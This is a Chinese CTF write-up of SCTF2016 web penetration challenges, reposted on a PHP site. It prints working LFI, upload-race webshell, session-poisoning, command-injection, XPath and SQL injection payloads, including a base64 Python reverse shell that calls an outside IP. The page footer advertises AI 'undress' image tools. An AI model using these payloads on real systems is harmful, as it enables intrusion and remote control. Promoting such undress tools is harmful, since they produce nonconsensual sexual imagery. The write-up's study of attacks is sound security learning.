目录
SCTF2016 痛苦的滲透之路
0x00 前言
0x01 Pentest-homework-200
SCTF{g00d_Good_Stu6y}
0x02 Pentest-sycshell-200
0x03 Pentest-DrugMarket1-300
黑科技 : $IFS 代替 空格
SCTF{b68181af58bdf261714942f0d1a823be}
0x04 Pentest-ETO-200
SCTF{0f61ce4eb984a4a6d3aaa31f779533df}
0x05 Pentest-Hackme-300-未成功
0x06 写在最后
首页 后端开发 php教程 SCTF2016 痛苦的滲透之路

SCTF2016 痛苦的滲透之路

Jun 20, 2016 pm 12:28 PM

SCTF2016 痛苦的滲透之路

0x00 前言

這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。

0x01 Pentest-homework-200

http://homework.sctf.xctf.org.cn/

打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。

順利登陸之後是顯示一張圖片。還有一個homework的鏈接。

點擊homework鏈接之後是一個包好頁面的網址。

http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
登录后复制

可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。

必然的繼而,包含不成功。

讀取源碼來瞅瞅上傳功能出了什麼問題。

http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php
登录后复制

果斷成功讀取。然後把該讀取的源碼全都download下來。

通過審計代碼

if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){    {        if(move_uploaded_file($tmpname,$target_path))        {        }    }    $im =imagecreatefromgif($target_path);    srand(time());    $newfilename = strval(rand()).".gif";    $newimagepath = $uploaddir.$newfilename;    imagegif($im,$newimagepath);    unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...
登录后复制

果然有點意思,上傳的圖片都經過 imagecreatefromgif等函數處理過了。

但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)

熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。

成功上傳之後再進行處理並刪除源文件 unlink($target_path);。

所以,這個題目是時間競爭,拼網速,拼人品。

上傳寫shell腳本的圖片馬

fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));
登录后复制

brup 多線程訪問

http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg
登录后复制

註冊上傳。。如果人品好,很快就成功了。

後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333

webshell成功上傳了,但是發現,很多功能都被閹割掉了。

ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec
登录后复制

然後就是利用 PHP绕过open_basedir列目录黑科技列目錄。

virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) {    $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}
登录后复制

然後就是讀取flag

virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');
登录后复制

SCTF{g00d_Good_Stu6y}

0x02 Pentest-sycshell-200

http://58.213.63.27:61180

右鍵查看源碼

<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
登录后复制

改Hosts,然後用域名訪問。

再開源碼,解密jsfuck編碼,得到

/W0Ca1N1CaiBuDa0/read.php?f=index
登录后复制

代碼審計,繞過後包含。

源碼:

<?php    show_source(__FILE__);    $pass = @$_GET['pass'];    $a = "syclover";        strlen($pass) > 15 ? die("Don't Hack me!") : "";        if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){        die('error');    }        if($pass == 1 &&  $a[$pass] === "s"){        $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';        @include $file;    }?>
登录后复制

這裏有一個大腦洞!!!!有版本限制的。

根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php

首先可以得到php 5.3.29版本。

版本漏洞, %0b(\v)可以繞過正則的 \s

/?pass=%0b.1e1
登录后复制

php底層源碼

while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {    str++;    length--;}
登录后复制

這個題目的另一個大脑洞就是 phpinfo()+Lfi

然後就是爆破吧、、2333

$pass繞過這個腦洞與phithon牛的一道題目類似的

https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw

题三: PHP类型与逻辑+fuzz与源代码审计的*0x03 函数特性导致绕过*部分。

0x03 Pentest-DrugMarket1-300

Drug Market: http://www.spentest.com/

一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。

http://drug.spentest.com/
登录后复制

點order可以提交數據,然後沒別的什麼功能了。可能存在xss。

我繼續看源碼,有發現一個鏈接。

http://msgboard.spentest.com/
登录后复制

打開頁面直接跳轉到

http://msgboard.spentest.com/index.php?action=login.php
登录后复制

很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。

再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。

初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。

然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。

http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf
登录后复制

得到

<VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    DocumentRoot /var/www/html        <Directory "/var/www/html">    AssignUserId apache apache    php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName www.spentest.com    DocumentRoot /var/www/webhosts/www        <Directory "/var/www/webhosts/www">    AssignUserId www www    php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName drug.spentest.com    DocumentRoot /var/www/webhosts/drug        <Directory "/var/www/webhosts/drug">    AssignUserId drug drug    php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName msgboard.spentest.com    DocumentRoot /var/www/webhosts/msgboard        <Directory "/var/www/webhosts/msgboard">    AssignUserId msgboard msgboard    php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>
登录后复制

順利知道session的存放地址為 /var/lib/php/session_msgboard

Username 或者 Contact 寫入

http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0
登录后复制

然後就是進一步收集信息

virink=phpinfo()
登录后复制

得到

disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
登录后复制

其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。

因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333

看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333

當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。

思路中斷,始終不知道如何執行命令。

反復研究提示

  1. 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
  2. 为了让题目更加接近真实环境,所以防火墙规则较为严格

最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。

orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!

進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。

還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。

然後就收到了一個wget請求。

目測存在命令執行漏洞。

黑科技 : $IFS 代替 空格

上傳一個反彈的py腳本

virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));
登录后复制

然後執行命令

http://vvv/flag.jpg;python$IFS/tmp/vvv.py
登录后复制

成功得到一個bash的shell。

最後在/home/drug找到flag1.txt

SCTF{b68181af58bdf261714942f0d1a823be}

0x04 Pentest-ETO-200

http://eto.sctf.xctf.org.cn/

這個是第一個放出來的題目,卻是最後才折騰出來。

簡單試一下,存在注入。

然後、各種注入都沒有成功。

官方給的提示奇葩:

ETO相关 不用再尝试爆破了哈,另外hint一直都在

從頭到尾都沒有發現hint在哪裡。

結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]

出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。

在小夥伴的提示下,才知道這是一個xpath注入。

引號被過濾了,但官方的提示2說好好利用已存在的字符。

說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了

http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)
登录后复制

用你的神器Burp再次爆破一波吧。

最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn

登陆后就可以得到Flag了

SCTF{0f61ce4eb984a4a6d3aaa31f779533df}

0x05 Pentest-Hackme-300-未成功

http://hackme.sctf.xctf.org.cn

坨坨的不会做,还是注入。注入一向是我的弱项。Orz......

根据官方的提示

1.网站开发人员经常会去看备忘录

2.想办法拿到管理员密码

3.注意观察数据库连接方式

4.XSS

以及小伙伴的提示:PDO注入。

百度得到:PDO方式的数据库连接,可以insert注入。

折腾一番到也弄出个样子。

http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23
登录后复制

成功X到了管理员的COOKIE。。。

再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。

然而,我就不会了。

XSS比SQL注入更渣~~Orz.....

0x06 写在最后

最终以0x01-0x04+签到10分的总分 910分结束本次CTF。

脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Java教程
1663
14
CakePHP 教程
1420
52
Laravel 教程
1313
25
PHP教程
1266
29
C# 教程
1239
24
说明PHP中的不同错误类型(注意,警告,致命错误,解析错误)。 说明PHP中的不同错误类型(注意,警告,致命错误,解析错误)。 Apr 08, 2025 am 12:03 AM

PHP中有四种主要错误类型:1.Notice:最轻微,不会中断程序,如访问未定义变量;2.Warning:比Notice严重,不会终止程序,如包含不存在文件;3.FatalError:最严重,会终止程序,如调用不存在函数;4.ParseError:语法错误,会阻止程序执行,如忘记添加结束标签。

PHP和Python:比较两种流行的编程语言 PHP和Python:比较两种流行的编程语言 Apr 14, 2025 am 12:13 AM

PHP和Python各有优势,选择依据项目需求。1.PHP适合web开发,尤其快速开发和维护网站。2.Python适用于数据科学、机器学习和人工智能,语法简洁,适合初学者。

说明PHP中的安全密码散列(例如,password_hash,password_verify)。为什么不使用MD5或SHA1? 说明PHP中的安全密码散列(例如,password_hash,password_verify)。为什么不使用MD5或SHA1? Apr 17, 2025 am 12:06 AM

在PHP中,应使用password_hash和password_verify函数实现安全的密码哈希处理,不应使用MD5或SHA1。1)password_hash生成包含盐值的哈希,增强安全性。2)password_verify验证密码,通过比较哈希值确保安全。3)MD5和SHA1易受攻击且缺乏盐值,不适合现代密码安全。

PHP行动:现实世界中的示例和应用程序 PHP行动:现实世界中的示例和应用程序 Apr 14, 2025 am 12:19 AM

PHP在电子商务、内容管理系统和API开发中广泛应用。1)电子商务:用于购物车功能和支付处理。2)内容管理系统:用于动态内容生成和用户管理。3)API开发:用于RESTfulAPI开发和API安全性。通过性能优化和最佳实践,PHP应用的效率和可维护性得以提升。

什么是HTTP请求方法(获取,发布,放置,删除等),何时应该使用? 什么是HTTP请求方法(获取,发布,放置,删除等),何时应该使用? Apr 09, 2025 am 12:09 AM

HTTP请求方法包括GET、POST、PUT和DELETE,分别用于获取、提交、更新和删除资源。1.GET方法用于获取资源,适用于读取操作。2.POST方法用于提交数据,常用于创建新资源。3.PUT方法用于更新资源,适用于完整更新。4.DELETE方法用于删除资源,适用于删除操作。

PHP:网络开发的关键语言 PHP:网络开发的关键语言 Apr 13, 2025 am 12:08 AM

PHP是一种广泛应用于服务器端的脚本语言,特别适合web开发。1.PHP可以嵌入HTML,处理HTTP请求和响应,支持多种数据库。2.PHP用于生成动态网页内容,处理表单数据,访问数据库等,具有强大的社区支持和开源资源。3.PHP是解释型语言,执行过程包括词法分析、语法分析、编译和执行。4.PHP可以与MySQL结合用于用户注册系统等高级应用。5.调试PHP时,可使用error_reporting()和var_dump()等函数。6.优化PHP代码可通过缓存机制、优化数据库查询和使用内置函数。7

解释self ::,parent ::和static :: in php oop中的区别。 解释self ::,parent ::和static :: in php oop中的区别。 Apr 09, 2025 am 12:04 AM

在PHPOOP中,self::引用当前类,parent::引用父类,static::用于晚静态绑定。1.self::用于静态方法和常量调用,但不支持晚静态绑定。2.parent::用于子类调用父类方法,无法访问私有方法。3.static::支持晚静态绑定,适用于继承和多态,但可能影响代码可读性。

PHP如何安全地上载文件? PHP如何安全地上载文件? Apr 10, 2025 am 09:37 AM

PHP通过$\_FILES变量处理文件上传,确保安全性的方法包括:1.检查上传错误,2.验证文件类型和大小,3.防止文件覆盖,4.移动文件到永久存储位置。

See all articles